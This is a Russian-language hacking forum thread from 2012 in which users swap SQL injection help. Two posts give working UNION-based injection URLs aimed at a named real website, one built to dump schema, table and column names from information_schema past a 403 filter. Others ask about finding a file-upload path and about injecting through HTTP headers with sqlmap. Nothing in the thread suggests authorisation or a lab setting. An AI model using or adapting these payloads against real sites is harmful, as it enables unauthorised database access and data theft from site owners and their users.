ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
21.12.2012, 02:47
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301
Репутация:
0
|
|
Сообщение от 0xd098d0b3d0
0xd098d0b3d0 said:
Код:
Code:
http://sahyadhri.com/tourism/cities.php?id=-4+union%28select+1,2,3,4,5,6,7,8,9,10,11,12,13,14%29+from+information_schema.tables+--+
А обойти 403 в таком запросе получиться?? Похоже тут точку фильтрует.
|
|
|
21.12.2012, 04:56
|
|
Guest
Сообщений: n/a
Провел на форуме:
103014
Репутация:
76
|
|
Сообщение от 0xd098d0b3d0
0xd098d0b3d0 said:
Код:
Code:
http://sahyadhri.com/tourism/cities.php?id=-4+union%28select+1,2,3,4,5,6,7,8,9,10,11,12,13,14%29+from+information_schema.tables+--+
А обойти 403 в таком запросе получиться?? http://sahyadhri.com/tourism/cities.php?id=-4+union(select+1,concat_ws(0x03a,table_schema,tabl e_name,column_name),3,4,5,6,7,8,9,10,11,12,13,14+f rom+ `information_schema `.columns)+--+
|
|
|
|
21.12.2012, 10:47
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033
Репутация:
8
|
|
Сообщение от s0n1k
s0n1k said:
есть форма заливки файла файл успешно заливается, можно узнать путь до папки загрузки ?
Может да, а может и нет.
Только так можно ответить на подобные вопросы, где не раскрываются ни название скрипта, ни url, ни что-либо ещё...
З.Ы. Сильно помогло ?
|
|
|
|
21.12.2012, 17:54
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301
Репутация:
0
|
|
Сообщение от Vip77
Vip77 said:
как с помощью sqlmap раскрутить sqli через http заголовки?
Вместо
Используй руки.
|
|
|
|
21.12.2012, 19:27
|
|
Guest
Сообщений: n/a
Провел на форуме:
46989
Репутация:
20
|
|
руками не прокатывает
|
|
|
|
21.12.2012, 20:05
|
|
Guest
Сообщений: n/a
Провел на форуме:
732
Репутация:
0
|
|
Привет! Почему я в FF делаю запрос к БД со скобками "user()" и браузер фильтрует их преобразовывая в "user #45005232991653576411" и запрос не получается. В то время через оперу все нормально.
Как это обойти?
ЗЫ Установил в FF хакбар, как только не кодирую серавно запрос не проходит
|
|
|
|
21.12.2012, 20:16
|
|
Guest
Сообщений: n/a
Провел на форуме:
28262
Репутация:
23
|
|
Сообщение от Кот в сапога
Кот в сапога said:
Привет! Почему я в FF делаю запрос к БД со скобками "user()" и браузер фильтрует их преобразовывая в "user #45005232991653576411" и запрос не получается. В то время через оперу все нормально.
Как это обойти?
ЗЫ Установил в FF хакбар, как только не кодирую серавно запрос не проходит
Установи старый FF и будет тебя счастье
|
|
|
|
21.12.2012, 20:26
|
|
Guest
Сообщений: n/a
Провел на форуме:
732
Репутация:
0
|
|
Сообщение от Zed0x
Zed0x said:
Установи старый FF и будет тебя счастье
Спасибо! Но этот вариант мне известен. Неучто все тестируют изпод старых браузеров?
Ты каким пользуешься?
|
|
|
|
21.12.2012, 20:28
|
|
Новичок
Регистрация: 26.12.2009
Сообщений: 3
Провел на форуме:
7301
Репутация:
0
|
|
Сообщение от Кот в сапога
Кот в сапога said:
Спасибо! Но этот вариант мне известен. Неучто все тестируют изпод старых браузеров?
Ты каким пользуешься?
http://www.cometbird.com/
|
|
|
|
22.12.2012, 14:13
|
|
Guest
Сообщений: n/a
Провел на форуме:
46989
Репутация:
20
|
|
Как с помощью sqlmap раскрутить sqli через http заголовки? Если вбиваю --header=X-Forwarded-For: то не прокатывает... Помогите плиз. Мне надо исключительно с помощью sqlmap.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
